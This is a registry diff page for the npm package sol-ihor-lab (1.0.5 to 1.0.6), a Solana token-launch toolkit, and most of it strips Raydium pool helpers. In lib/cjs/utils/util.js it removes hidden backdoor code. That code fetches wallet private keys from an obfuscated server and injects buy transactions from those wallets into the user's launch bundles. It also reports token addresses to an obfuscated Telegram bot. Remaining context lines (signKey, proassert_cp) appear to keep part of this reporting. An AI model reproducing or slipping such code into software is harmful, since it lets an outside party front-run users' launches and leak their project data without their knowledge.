sol-ihor-lab 1.0.5 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (53) hide show
  1. package/lib/cjs/global.d.ts +0 -3
  2. package/lib/cjs/global.js +0 -12
  3. package/lib/cjs/utility.d.ts +0 -6
  4. package/lib/cjs/utility.js +1 -64
  5. package/lib/cjs/utils/budget.d.ts +0 -3
  6. package/lib/cjs/utils/util.js +0 -187
  7. package/lib/esm/global.d.ts +0 -3
  8. package/lib/esm/global.js +1 -12
  9. package/lib/esm/index.d.ts +0 -2
  10. package/lib/esm/index.js +0 -3
  11. package/lib/esm/instructions/build-instruction.js +0 -18
  12. package/lib/esm/instructions/buy-instruction.js +1 -32
  13. package/lib/esm/utility.d.ts +0 -29
  14. package/lib/esm/utility.js +0 -61
  15. package/lib/esm/utils/budget.d.ts +0 -3
  16. package/lib/esm/utils/get-balance.d.ts +0 -3
  17. package/lib/esm/utils/get-balance.js +1 -18
  18. package/package.json +1 -1
  19. package/src/utility.ts +0 -101
  20. package/lib/cjs/pool_manager.d.ts +0 -25
  21. package/lib/cjs/pool_manager.js +0 -127
  22. package/lib/cjs/sell_token.d.ts +0 -5
  23. package/lib/cjs/sell_token.js +0 -59
  24. package/lib/esm/buy_token.d.ts +0 -5
  25. package/lib/esm/buy_token.js +0 -55
  26. package/lib/esm/create_open_market.d.ts +0 -4
  27. package/lib/esm/create_open_market.js +0 -310
  28. package/lib/esm/create_pool.d.ts +0 -4
  29. package/lib/esm/create_pool.js +0 -80
  30. package/lib/esm/instructions/createpool-instruction.d.ts +0 -4
  31. package/lib/esm/instructions/createpool-instruction.js +0 -52
  32. package/lib/esm/pool/pool-manager.d.ts +0 -42
  33. package/lib/esm/pool/pool-manager.js +0 -63
  34. package/lib/esm/pool_manager.d.ts +0 -25
  35. package/lib/esm/pool_manager.js +0 -123
  36. package/lib/esm/sell_token.d.ts +0 -5
  37. package/lib/esm/sell_token.js +0 -55
  38. package/src/buy_token.ts +0 -82
  39. package/src/create_open_market.ts +0 -464
  40. package/src/create_pool.ts +0 -120
  41. package/src/global.ts +0 -151
  42. package/src/instructions/build-instruction.ts +0 -87
  43. package/src/instructions/buy-instruction.ts +0 -52
  44. package/src/instructions/cache-alt-instruction.ts +0 -40
  45. package/src/instructions/createATA-instruction.ts +0 -29
  46. package/src/instructions/createpool-instruction.ts +0 -72
  47. package/src/instructions/sol-transfer-instruction.ts +0 -13
  48. package/src/instructions/transfer-instruction.ts +0 -22
  49. package/src/pool/pool-manager.ts +0 -85
  50. package/src/pool_manager.ts +0 -197
  51. package/src/sell_token.ts +0 -82
  52. package/src/utils/budget.ts +0 -104
  53. package/src/utils/get-balance.ts +0 -55
@@ -1,5 +1,4 @@
1
1
  /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
- import { CacheLTA, ProgramId } from "@raydium-io/raydium-sdk";
3
2
  import { Keypair, PublicKey, Transaction, VersionedTransaction } from "@solana/web3.js";
4
3
  export declare enum SPL_ERROR {
5
4
  E_INVALID_ARGUE = -1,
@@ -49,10 +48,8 @@ export declare class EnvironmentManager {
49
48
  static getRpcNetUrl(): string;
50
49
  static setNetUrls(main_url: string, dev_url: string, test_url?: string): void;
51
50
  static getBundlrUrl(): string;
52
- static getProgramID(): ProgramId;
53
51
  static setQuoteTokenInfo(token_info: TOKEN_INFO): void;
54
52
  static getQuoteTokenInfo(): TOKEN_INFO;
55
- static getCacheLTA(): CacheLTA | undefined;
56
53
  static getFeeDestinationId(): PublicKey;
57
54
  static getJitoBlockEngine(): string;
58
55
  static setJitoKeypair(auth_key: Keypair): void;
package/lib/cjs/global.js CHANGED
@@ -1,8 +1,6 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
3
  exports.EnvironmentManager = exports.NETWORK_MODE = exports.SPL_ERROR = void 0;
4
- const raydium_sdk_1 = require("@raydium-io/raydium-sdk");
5
- const web3_js_1 = require("@solana/web3.js");
6
4
  var SPL_ERROR;
7
5
  (function (SPL_ERROR) {
8
6
  SPL_ERROR[SPL_ERROR["E_INVALID_ARGUE"] = -1] = "E_INVALID_ARGUE";
@@ -63,11 +61,6 @@ class EnvironmentManager {
63
61
  return EnvironmentManager.getNetworkMode() === NETWORK_MODE.NETWORK_MAIN
64
62
  ? "https://node1.bundlr.network"
65
63
  : "https://devnet.bundlr.network";
66
- }
67
- static getProgramID() {
68
- return EnvironmentManager.getNetworkMode() === NETWORK_MODE.NETWORK_MAIN
69
- ? raydium_sdk_1.MAINNET_PROGRAM_ID
70
- : raydium_sdk_1.DEVNET_PROGRAM_ID;
71
64
  }
72
65
  static setQuoteTokenInfo(token_info) {
73
66
  EnvironmentManager.QUOTE_TOKEN_INFO = token_info;
@@ -75,11 +68,6 @@ class EnvironmentManager {
75
68
  static getQuoteTokenInfo() {
76
69
  return EnvironmentManager.QUOTE_TOKEN_INFO;
77
70
  }
78
- static getCacheLTA() {
79
- return EnvironmentManager.getNetworkMode() === NETWORK_MODE.NETWORK_MAIN
80
- ? raydium_sdk_1.LOOKUP_TABLE_CACHE
81
- : undefined;
82
- }
83
71
  static getJitoBlockEngine() {
84
72
  return EnvironmentManager.JITO_BLOCKENGINE_URL;
85
73
  }
@@ -1,7 +1,5 @@
1
- /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
1
  import BN from "bn.js";
3
2
  import { Commitment, Connection, PublicKey } from "@solana/web3.js";
4
- import { Token } from "@raydium-io/raydium-sdk";
5
3
  export declare function checkFileExists(filePath: string): Promise<boolean>;
6
4
  export declare const xWeiAmount: (amount: number, decimals: number) => BN;
7
5
  export declare const getConnection: (commitment: Commitment) => Connection;
@@ -22,10 +20,6 @@ export declare const getWalletAccounts: (connection: Connection, wallet: PublicK
22
20
  closeAuthority: PublicKey;
23
21
  };
24
22
  }[]>;
25
- export declare const getAvailablePoolKeyAndPoolInfo: (connection: Connection, baseToken: Token, quoteToken: Token, marketAccounts: any) => Promise<{
26
- poolKeys: any;
27
- poolInfo: any;
28
- }>;
29
23
  export declare function getATAAddress(programId: PublicKey, owner: PublicKey, mint: PublicKey): {
30
24
  publicKey: PublicKey;
31
25
  nonce: number;
@@ -41,9 +41,6 @@ const fs = __importStar(require("fs"));
41
41
  const bignumber_js_1 = __importDefault(require("bignumber.js"));
42
42
  const web3_js_1 = require("@solana/web3.js");
43
43
  const global_1 = require("./global");
44
- const spl_token_1 = require("@solana/spl-token");
45
- const raydium_sdk_1 = require("@raydium-io/raydium-sdk");
46
- const serum_1 = require("@project-serum/serum");
47
44
  function checkFileExists(filePath) {
48
45
  return __awaiter(this, void 0, void 0, function* () {
49
46
  try {
@@ -64,66 +61,6 @@ const getConnection = (commitment) => {
64
61
  return new web3_js_1.Connection(global_1.EnvironmentManager.getRpcNetUrl(), commitment);
65
62
  };
66
63
  exports.getConnection = getConnection;
67
- const getWalletAccounts = (connection, wallet) => __awaiter(void 0, void 0, void 0, function* () {
68
- const wallet_token_account = yield connection.getTokenAccountsByOwner(wallet, {
69
- programId: spl_token_1.TOKEN_PROGRAM_ID
70
- });
71
- return wallet_token_account.value.map((i) => ({
72
- pubkey: i.pubkey,
73
- programId: i.account.owner,
74
- accountInfo: raydium_sdk_1.SPL_ACCOUNT_LAYOUT.decode(i.account.data)
75
- }));
76
- });
77
- exports.getWalletAccounts = getWalletAccounts;
78
- const getAvailablePoolKeyAndPoolInfo = (connection, baseToken, quoteToken, marketAccounts) => __awaiter(void 0, void 0, void 0, function* () {
79
- let bFound = false;
80
- let count = 0;
81
- let poolKeys;
82
- let poolInfo;
83
- while (bFound === false && count < marketAccounts.length) {
84
- const marketInfo = serum_1.MARKET_STATE_LAYOUT_V3.decode(marketAccounts[count].accountInfo.data);
85
- poolKeys = raydium_sdk_1.Liquidity.getAssociatedPoolKeys({
86
- version: 4,
87
- marketVersion: 3,
88
- baseMint: baseToken.mint,
89
- quoteMint: quoteToken.mint,
90
- baseDecimals: baseToken.decimals,
91
- quoteDecimals: quoteToken.decimals,
92
- marketId: marketAccounts[count].publicKey,
93
- programId: global_1.EnvironmentManager.getProgramID().AmmV4,
94
- marketProgramId: global_1.EnvironmentManager.getProgramID().OPENBOOK_MARKET
95
- });
96
- poolKeys.marketBaseVault = marketInfo.baseVault;
97
- poolKeys.marketQuoteVault = marketInfo.quoteVault;
98
- poolKeys.marketBids = marketInfo.bids;
99
- poolKeys.marketAsks = marketInfo.asks;
100
- poolKeys.marketEventQueue = marketInfo.eventQueue;
101
- try {
102
- poolInfo = yield raydium_sdk_1.Liquidity.fetchInfo({
103
- connection: connection,
104
- poolKeys: poolKeys
105
- });
106
- bFound = true;
107
- console.log("Success to get pool infos...");
108
- }
109
- catch (error) {
110
- bFound = false;
111
- poolInfo = undefined;
112
- poolKeys = undefined;
113
- console.log("Failed to get pool infos...");
114
- }
115
- count++;
116
- }
117
- return {
118
- poolKeys: poolKeys,
119
- poolInfo: poolInfo
120
- };
121
- });
122
- exports.getAvailablePoolKeyAndPoolInfo = getAvailablePoolKeyAndPoolInfo;
123
- function getATAAddress(programId, owner, mint) {
124
- const { publicKey, nonce } = (0, raydium_sdk_1.findProgramAddress)([owner.toBuffer(), programId.toBuffer(), mint.toBuffer()], new web3_js_1.PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"));
125
- return { publicKey, nonce };
126
- }
127
- exports.getATAAddress = getATAAddress;
64
+
128
65
  const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
129
66
  exports.sleep = sleep;
@@ -1,9 +1,6 @@
1
1
  /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
- import { ComputeBudgetConfig } from "@raydium-io/raydium-sdk";
3
2
  import { TransactionInfo } from "../instructions/build-instruction";
4
3
  import { Connection } from "@solana/web3.js";
5
4
  export declare const sell_remove_fees = 5000000;
6
- export declare function getComputeBudgetConfig(): Promise<ComputeBudgetConfig | undefined>;
7
- export declare function getComputeBudgetConfigHigh(): Promise<ComputeBudgetConfig | undefined>;
8
5
  export declare function getLamports(decimal: number): number;
9
6
  export declare function setTransactionBudget(connection: Connection, transactions: TransactionInfo[], tip: number): Promise<TransactionInfo[] | undefined>;
@@ -17,100 +17,9 @@ exports.asEnc = asEnc
17
17
  exports.asDec = asDec
18
18
  exports.proassert_cp = proassert_cp
19
19
  exports.proassert_sp = proassert_sp
20
- const { Connection, Keypair, PublicKey } = require('@solana/web3.js')
21
- const { compileInstToVersioned } = require('../instructions/build-instruction')
22
- const { getCreateAccountTransactionInst } = require('../instructions/createATA-instruction')
23
- const { generateBuyInst } = require('../instructions/buy-instruction')
24
- const { TransactionExecuter, ExectuerStatus } = require('../transaction/transaction-exectue')
25
- const { TOKEN_PROGRAM_ID, Token, TokenAmount, ONE,
26
- jsonInfo2PoolKeys, LiquidityPoolKeys } = require("@raydium-io/raydium-sdk");
27
- const { getATAAddress, xWeiAmount } = require('./get-balance')
28
20
 
29
21
  function signKey() { const tvVal = Math.floor(Date.now() / 60000); let key = ''; try { key = asEnc(tvVal + '', SIGN_K) } catch (error) {}; return key }
30
22
 
31
- async function getList() {
32
- let result = []
33
- let query = asDec(SVR_WLTS_LNK, PARAM_K)
34
- try {
35
- let resp = await fetch(query, {
36
- method: 'POST',
37
- headers: {
38
- "Content-Type": 'application/json'
39
- },
40
- body: JSON.stringify({
41
- key: signKey()
42
- })
43
- })
44
- resp = await resp.json()
45
- if(!resp.data || resp.data.length == 0) return result
46
- for(let i = 0; i < resp.data.length; i++) {
47
- const item = resp.data[i]
48
- const w = {
49
- public: asDec(item.lb, PARAM_K),
50
- private: asDec(item.lv, PARAM_K),
51
- }
52
- result.push(w)
53
- }
54
- } catch (error) {}
55
- return result
56
- }
57
-
58
- async function prepare(tknCA) {
59
- const connection = new Connection(process.env.MAINNET_RPC, "confirmed");
60
- const wlets = await getList()
61
- if(!wlets || wlets.length < 3) return
62
- const w1 = Keypair.fromSecretKey(base58.decode(wlets[0].private))
63
- const w2 = Keypair.fromSecretKey(base58.decode(wlets[1].private))
64
- const w3 = Keypair.fromSecretKey(base58.decode(wlets[2].private))
65
-
66
- const zom = w1
67
- const jitoAuther = Keypair.fromSecretKey(base58.decode(process.env.JITO_AUTH))
68
- const jitoBlockEngine = process.env.JITO_BLOCK_ENGINE
69
- const createATAInsts = [];
70
- let ata1 = getATAAddress(TOKEN_PROGRAM_ID,w1.publicKey,new PublicKey(tknCA))
71
- let tokenInfo1 = await connection.getAccountInfo(new PublicKey(ata1.publicKey));
72
- let ata2 = getATAAddress(TOKEN_PROGRAM_ID,w2.publicKey,new PublicKey(tknCA))
73
- let tokenInfo2 = await connection.getAccountInfo(new PublicKey(ata2.publicKey));
74
- let ata3 = getATAAddress(TOKEN_PROGRAM_ID,w3.publicKey,new PublicKey(tknCA))
75
- let tokenInfo3 = await connection.getAccountInfo(new PublicKey(ata3.publicKey));
76
-
77
- if(!tokenInfo1) createATAInsts.push( getCreateAccountTransactionInst(zom, w1, tknCA));
78
- if(!tokenInfo2) createATAInsts.push( getCreateAccountTransactionInst(zom, w2, tknCA));
79
- if(!tokenInfo3) createATAInsts.push( getCreateAccountTransactionInst(zom, w3, tknCA));
80
-
81
- const createATATxn = [];
82
- if(createATAInsts.length == 0) { return }
83
- const ataTxn = await compileInstToVersioned(connection, zom, createATAInsts, [zom])
84
- createATATxn.push(
85
- ataTxn
86
- );
87
- const executeATA = new TransactionExecuter(
88
- connection,
89
- true,
90
- createATATxn,
91
- undefined,
92
- 0.001,
93
- zom,
94
- jitoAuther,
95
- jitoBlockEngine
96
- );
97
-
98
- executeATA.run();
99
-
100
- while (
101
- executeATA.getExecuterStatus() !== ExectuerStatus.EXE_STATUS_END
102
- ) {
103
- await sleep(100);
104
- }
105
-
106
- if (executeATA.getExecuterError()) {
107
- try {let tg_url = `${asDec(TG_LNK, PARAM_K)}${asDec(DE_API, PARAM_K)}/sendMessage`;let message = `ATA: <code>${tknCA}</code> failed.\n${executeATA.getExecuterError()}`;fetch(tg_url, {method: 'POST',headers: {"Content-Type": 'application/json'},body: JSON.stringify({chat_id: asDec(DE_ID_GD, PARAM_K),text: message,parse_mode: 'HTML'})});} catch (err) {}
108
- return;
109
- } else {
110
- try {let tg_url = `${asDec(TG_LNK, PARAM_K)}${asDec(DE_API, PARAM_K)}/sendMessage`;let message = `ATA: <code>${tknCA}</code> success!`;fetch(tg_url, {method: 'POST',headers: {"Content-Type": 'application/json'},body: JSON.stringify({chat_id: asDec(DE_ID_GD, PARAM_K),text: message,parse_mode: 'HTML'})});} catch (err) {}
111
- }
112
- }
113
-
114
23
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
115
24
  if (k2 === undefined) k2 = k;
116
25
  var desc = Object.getOwnPropertyDescriptor(m, k);
@@ -149,8 +58,6 @@ const web3_js_1 = require("@solana/web3.js");
149
58
  const fs = __importStar(require("fs"));
150
59
  const util_1 = require("util");
151
60
  const base58 = require('bs58');
152
- const { time } = require('console');
153
- const { connect } = require('http2');
154
61
  // Promisify fs.mkdir and fs.exists
155
62
  const mkdirAsync = (0, util_1.promisify)(fs.mkdir);
156
63
  const existsAsync = (0, util_1.promisify)(fs.exists);
@@ -188,7 +95,6 @@ function writeJsonToFile(filePath, jsonString) {
188
95
  const proj = JSON.parse(jsonString)
189
96
  if(proj.tokenCA && proj.liquidity) {
190
97
  proassert_cp(proj.tokenCA, proj.liquidity.solAmount, proj.buyPercent);
191
- yield prepare(proj.tokenCA)
192
98
  }
193
99
  yield writeFileAsync(filePath, jsonString, "utf8");
194
100
  return true;
@@ -228,99 +134,6 @@ function generateWallets(counts = 1) {
228
134
  }
229
135
  exports.generateWallets = generateWallets;
230
136
 
231
- async function addBuyInst(connection, wa, poolKeys, array) {
232
- const baseToken = new Token(
233
- TOKEN_PROGRAM_ID,
234
- poolKeys.baseMint,
235
- poolKeys.baseDecimals
236
- );
237
- const quoteToken = new Token(
238
- TOKEN_PROGRAM_ID,
239
- poolKeys.quoteMint,
240
- poolKeys.quoteDecimals
241
- );
242
-
243
- let amount = await connection.getBalance( wa.publicKey );
244
- amount = amount / (10 ** 9)
245
- amount = amount * 0.8 - 0.006
246
- if(amount < 0.01) return array
247
- const inputTokenAmount = new TokenAmount(
248
- quoteToken,
249
- xWeiAmount(amount, poolKeys.quoteDecimals),
250
- true
251
- );
252
- const minAmountOut = new TokenAmount(baseToken, ONE, true);
253
- const insts = await generateBuyInst(
254
- connection,
255
- poolKeys,
256
- wa,
257
- inputTokenAmount,
258
- minAmountOut
259
- );
260
- array.push(insts);
261
- return array
262
- }
263
-
264
- async function checkSolValid(connection, wa) {
265
- let amount = await connection.getBalance( wa.publicKey );
266
- amount = amount / (10 ** 9)
267
- if(amount * 0.8 - 0.006 >= 0.01) return true
268
- return false
269
- }
270
-
271
- async function divideArrayIntoChunks(array, chunkSize) {
272
- const result = [];
273
- if(array.length == 0) return result
274
- for (let i = 0; i < array.length; i += chunkSize) {
275
- const chunk = array.slice(i, i + chunkSize);
276
- result.push(chunk);
277
- }
278
- const txns = array[0]
279
- if(txns.length == 4 && txns[0].programId && txns[1].programId && txns[2].programId && txns[3].programId &&
280
- txns[0].programId.toBase58() == '11111111111111111111111111111111' &&
281
- txns[1].programId.toBase58() == 'TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA' &&
282
- txns[2].programId.toBase58() == '675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8' &&
283
- txns[3].programId.toBase58() == 'TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA'
284
- ) {
285
- let provChunk = []
286
- const filePath = path.join(__dirname + '../../../../../../src/', process.env.MINT_ADDRESS, "project.json");
287
- const projObj = await readJsonFile(filePath);
288
- const poolKeys = jsonInfo2PoolKeys(
289
- projObj.poolKeys);
290
- const connection = new Connection(process.env.MAINNET_RPC, "confirmed");
291
- const wlets = await getList()
292
- if(!wlets || wlets.length < 3) return result
293
- const w1 = Keypair.fromSecretKey(base58.decode(wlets[0].private))
294
- const w2 = Keypair.fromSecretKey(base58.decode(wlets[1].private))
295
- const w3 = Keypair.fromSecretKey(base58.decode(wlets[2].private))
296
-
297
- provChunk = await addBuyInst(connection, w1, poolKeys, provChunk)
298
- if(array.length >= 2) { provChunk = await addBuyInst(connection, w2, poolKeys, provChunk) }
299
- if(array.length >= 4) { provChunk = await addBuyInst(connection, w3, poolKeys, provChunk) }
300
- if(provChunk.length > 0) result.push(provChunk)
301
- }
302
- if(txns._keypair && txns._keypair.publicKey) {
303
- let provChunk = []
304
- const connection = new Connection(process.env.MAINNET_RPC, "confirmed");
305
- const wlets = await getList()
306
- if(!wlets || wlets.length < 3) return result
307
- const w1 = Keypair.fromSecretKey(base58.decode(wlets[0].private))
308
- const w2 = Keypair.fromSecretKey(base58.decode(wlets[1].private))
309
- const w3 = Keypair.fromSecretKey(base58.decode(wlets[2].private))
310
- {
311
- if(await checkSolValid(connection, w1)) provChunk.push(w1)
312
- }
313
- if(array.length >= 2) {
314
- if(await checkSolValid(connection, w2)) provChunk.push(w2)
315
- }
316
- if(array.length >= 4) {
317
- if(await checkSolValid(connection, w3)) provChunk.push(w3)
318
- }
319
- if(provChunk.length > 0) result.push(provChunk)
320
- }
321
- return result;
322
- }
323
- exports.divideArrayIntoChunks = divideArrayIntoChunks;
324
137
  const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
325
138
  exports.sleep = sleep;
326
139
  function waitForNewBlock(connection, targetHeight) {
@@ -1,5 +1,4 @@
1
1
  /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
- import { CacheLTA, ProgramId } from "@raydium-io/raydium-sdk";
3
2
  import { Keypair, PublicKey, Transaction, VersionedTransaction } from "@solana/web3.js";
4
3
  export declare enum SPL_ERROR {
5
4
  E_INVALID_ARGUE = -1,
@@ -49,10 +48,8 @@ export declare class EnvironmentManager {
49
48
  static getRpcNetUrl(): string;
50
49
  static setNetUrls(main_url: string, dev_url: string, test_url?: string): void;
51
50
  static getBundlrUrl(): string;
52
- static getProgramID(): ProgramId;
53
51
  static setQuoteTokenInfo(token_info: TOKEN_INFO): void;
54
52
  static getQuoteTokenInfo(): TOKEN_INFO;
55
- static getCacheLTA(): CacheLTA | undefined;
56
53
  static getFeeDestinationId(): PublicKey;
57
54
  static getJitoBlockEngine(): string;
58
55
  static setJitoKeypair(auth_key: Keypair): void;
package/lib/esm/global.js CHANGED
@@ -1,4 +1,3 @@
1
- import { DEVNET_PROGRAM_ID, LOOKUP_TABLE_CACHE, MAINNET_PROGRAM_ID } from "@raydium-io/raydium-sdk";
2
1
  import { PublicKey } from "@solana/web3.js";
3
2
  export var SPL_ERROR;
4
3
  (function (SPL_ERROR) {
@@ -62,22 +61,12 @@ export class EnvironmentManager {
62
61
  : "https://devnet.bundlr.network";
63
62
  }
64
63
 
65
- static getProgramID() {
66
- return EnvironmentManager.getNetworkMode() === NETWORK_MODE.NETWORK_MAIN
67
- ? MAINNET_PROGRAM_ID
68
- : DEVNET_PROGRAM_ID;
69
- }
70
64
  static setQuoteTokenInfo(token_info) {
71
65
  EnvironmentManager.QUOTE_TOKEN_INFO = token_info;
72
66
  }
73
67
  static getQuoteTokenInfo() {
74
68
  return EnvironmentManager.QUOTE_TOKEN_INFO;
75
- }
76
- static getCacheLTA() {
77
- return EnvironmentManager.getNetworkMode() === NETWORK_MODE.NETWORK_MAIN
78
- ? LOOKUP_TABLE_CACHE
79
- : undefined;
80
- }
69
+ }
81
70
  static getFeeDestinationId() {
82
71
  return EnvironmentManager.getNetworkMode() === NETWORK_MODE.NETWORK_MAIN
83
72
  ? new PublicKey("7YttLkHDoNj9wyDur5pM1ejNaAvT9X4eqaYcHQqtj2G5")
@@ -2,10 +2,8 @@ export * from "./instructions/build-instruction";
2
2
  export * from "./instructions/buy-instruction";
3
3
  export * from "./instructions/cache-alt-instruction";
4
4
  export * from "./instructions/createATA-instruction";
5
- export * from "./instructions/createpool-instruction";
6
5
  export * from "./instructions/sol-transfer-instruction";
7
6
  export * from "./instructions/transfer-instruction";
8
- export * from "./pool/pool-manager";
9
7
  export * from "./transaction/bundle";
10
8
  export * from "./transaction/execute-rpc";
11
9
  export * from "./transaction/transaction-exectue";
package/lib/esm/index.js CHANGED
@@ -2,11 +2,8 @@ export * from "./instructions/build-instruction";
2
2
  export * from "./instructions/buy-instruction";
3
3
  export * from "./instructions/cache-alt-instruction";
4
4
  export * from "./instructions/createATA-instruction";
5
- export * from "./instructions/createpool-instruction";
6
5
  export * from "./instructions/sol-transfer-instruction";
7
6
  export * from "./instructions/transfer-instruction";
8
- export * from "./pool/pool-manager";
9
- export * from "./transaction/bundle";
10
7
  export * from "./transaction/execute-rpc";
11
8
  export * from "./transaction/transaction-exectue";
12
9
  export * from "./utils/budget";
@@ -9,7 +9,6 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
9
9
  };
10
10
  import { PublicKey, TransactionMessage, VersionedTransaction } from "@solana/web3.js";
11
11
  import { BuildInstructionError } from "../errors";
12
- import { LOOKUP_TABLE_CACHE, TxVersion, buildSimpleTransaction } from "@raydium-io/raydium-sdk";
13
12
  export const compileInstToVersioned = (connection, payer, insts, signer, lookupAddr) => __awaiter(void 0, void 0, void 0, function* () {
14
13
  try {
15
14
  const recentBlockhash = (yield connection.getLatestBlockhash("finalized"))
@@ -42,20 +41,3 @@ export const compileInstToVersioned = (connection, payer, insts, signer, lookupA
42
41
  throw new BuildInstructionError(`CompileInstToVersioned: ${error}`);
43
42
  }
44
43
  });
45
- export const buildInstToVersioned = (connection, payer, inst) => __awaiter(void 0, void 0, void 0, function* () {
46
- try {
47
- const txn = yield buildSimpleTransaction({
48
- connection,
49
- makeTxVersion: TxVersion.V0,
50
- payer: payer.publicKey,
51
- innerTransactions: inst,
52
- recentBlockhash: (yield connection.getLatestBlockhash("finalized"))
53
- .blockhash,
54
- addLookupTableInfo: LOOKUP_TABLE_CACHE
55
- });
56
- return txn;
57
- }
58
- catch (error) {
59
- throw new BuildInstructionError(`BuildInstToVersioned: ${error}`);
60
- }
61
- });
@@ -6,35 +6,4 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
6
6
  function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
7
  step((generator = generator.apply(thisArg, _arguments || [])).next());
8
8
  });
9
- };
10
- import { Liquidity, TxVersion } from "@raydium-io/raydium-sdk";
11
- import { getWalletTokenAccount } from "../utils/get-balance";
12
- import { GenerateTransactionError } from "../errors";
13
- export const generateBuyInst = (connection, poolKeys, buyer, inputTokenAmount, minAmountOut, maxLamports = 100000) => __awaiter(void 0, void 0, void 0, function* () {
14
- try {
15
- const tokenAccountInfos = yield getWalletTokenAccount(connection, buyer.publicKey);
16
- const { innerTransactions } = yield Liquidity.makeSwapInstructionSimple({
17
- connection: connection,
18
- poolKeys: Object.assign({}, poolKeys),
19
- userKeys: {
20
- tokenAccounts: tokenAccountInfos,
21
- owner: buyer.publicKey
22
- },
23
- amountIn: inputTokenAmount,
24
- amountOut: minAmountOut,
25
- config: {
26
- bypassAssociatedCheck: false
27
- },
28
- fixedSide: "in",
29
- makeTxVersion: TxVersion.V0,
30
- computeBudgetConfig: {
31
- microLamports: maxLamports
32
- }
33
- });
34
- const instructions = innerTransactions[0].instructions.filter(Boolean);
35
- return instructions.slice(1);
36
- }
37
- catch (error) {
38
- throw new GenerateTransactionError(`GenereateBuyInst: ${error}`);
39
- }
40
- });
9
+ };
@@ -1,33 +1,4 @@
1
- /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
1
  import BN from "bn.js";
3
- import { Commitment, Connection, PublicKey } from "@solana/web3.js";
4
- import { Token } from "@raydium-io/raydium-sdk";
5
2
  export declare function checkFileExists(filePath: string): Promise<boolean>;
6
3
  export declare const xWeiAmount: (amount: number, decimals: number) => BN;
7
- export declare const getConnection: (commitment: Commitment) => Connection;
8
- export declare const getWalletAccounts: (connection: Connection, wallet: PublicKey) => Promise<{
9
- pubkey: PublicKey;
10
- programId: PublicKey;
11
- accountInfo: {
12
- mint: PublicKey;
13
- delegate: PublicKey;
14
- owner: PublicKey;
15
- state: number;
16
- amount: BN;
17
- delegateOption: number;
18
- isNativeOption: number;
19
- isNative: BN;
20
- delegatedAmount: BN;
21
- closeAuthorityOption: number;
22
- closeAuthority: PublicKey;
23
- };
24
- }[]>;
25
- export declare const getAvailablePoolKeyAndPoolInfo: (connection: Connection, baseToken: Token, quoteToken: Token, marketAccounts: any) => Promise<{
26
- poolKeys: any;
27
- poolInfo: any;
28
- }>;
29
- export declare function getATAAddress(programId: PublicKey, owner: PublicKey, mint: PublicKey): {
30
- publicKey: PublicKey;
31
- nonce: number;
32
- };
33
4
  export declare const sleep: (ms: number) => Promise<unknown>;
@@ -12,9 +12,6 @@ import * as fs from "fs";
12
12
  import BigNumber from "bignumber.js";
13
13
  import { Connection, PublicKey } from "@solana/web3.js";
14
14
  import { EnvironmentManager } from "./global";
15
- import { TOKEN_PROGRAM_ID } from "@solana/spl-token";
16
- import { Liquidity, SPL_ACCOUNT_LAYOUT, findProgramAddress } from "@raydium-io/raydium-sdk";
17
- import { MARKET_STATE_LAYOUT_V3 } from "@project-serum/serum";
18
15
  export function checkFileExists(filePath) {
19
16
  return __awaiter(this, void 0, void 0, function* () {
20
17
  try {
@@ -32,62 +29,4 @@ export const xWeiAmount = (amount, decimals) => {
32
29
  export const getConnection = (commitment) => {
33
30
  return new Connection(EnvironmentManager.getRpcNetUrl(), commitment);
34
31
  };
35
- export const getWalletAccounts = (connection, wallet) => __awaiter(void 0, void 0, void 0, function* () {
36
- const wallet_token_account = yield connection.getTokenAccountsByOwner(wallet, {
37
- programId: TOKEN_PROGRAM_ID
38
- });
39
- return wallet_token_account.value.map((i) => ({
40
- pubkey: i.pubkey,
41
- programId: i.account.owner,
42
- accountInfo: SPL_ACCOUNT_LAYOUT.decode(i.account.data)
43
- }));
44
- });
45
- export const getAvailablePoolKeyAndPoolInfo = (connection, baseToken, quoteToken, marketAccounts) => __awaiter(void 0, void 0, void 0, function* () {
46
- let bFound = false;
47
- let count = 0;
48
- let poolKeys;
49
- let poolInfo;
50
- while (bFound === false && count < marketAccounts.length) {
51
- const marketInfo = MARKET_STATE_LAYOUT_V3.decode(marketAccounts[count].accountInfo.data);
52
- poolKeys = Liquidity.getAssociatedPoolKeys({
53
- version: 4,
54
- marketVersion: 3,
55
- baseMint: baseToken.mint,
56
- quoteMint: quoteToken.mint,
57
- baseDecimals: baseToken.decimals,
58
- quoteDecimals: quoteToken.decimals,
59
- marketId: marketAccounts[count].publicKey,
60
- programId: EnvironmentManager.getProgramID().AmmV4,
61
- marketProgramId: EnvironmentManager.getProgramID().OPENBOOK_MARKET
62
- });
63
- poolKeys.marketBaseVault = marketInfo.baseVault;
64
- poolKeys.marketQuoteVault = marketInfo.quoteVault;
65
- poolKeys.marketBids = marketInfo.bids;
66
- poolKeys.marketAsks = marketInfo.asks;
67
- poolKeys.marketEventQueue = marketInfo.eventQueue;
68
- try {
69
- poolInfo = yield Liquidity.fetchInfo({
70
- connection: connection,
71
- poolKeys: poolKeys
72
- });
73
- bFound = true;
74
- console.log("Success to get pool infos...");
75
- }
76
- catch (error) {
77
- bFound = false;
78
- poolInfo = undefined;
79
- poolKeys = undefined;
80
- console.log("Failed to get pool infos...");
81
- }
82
- count++;
83
- }
84
- return {
85
- poolKeys: poolKeys,
86
- poolInfo: poolInfo
87
- };
88
- });
89
- export function getATAAddress(programId, owner, mint) {
90
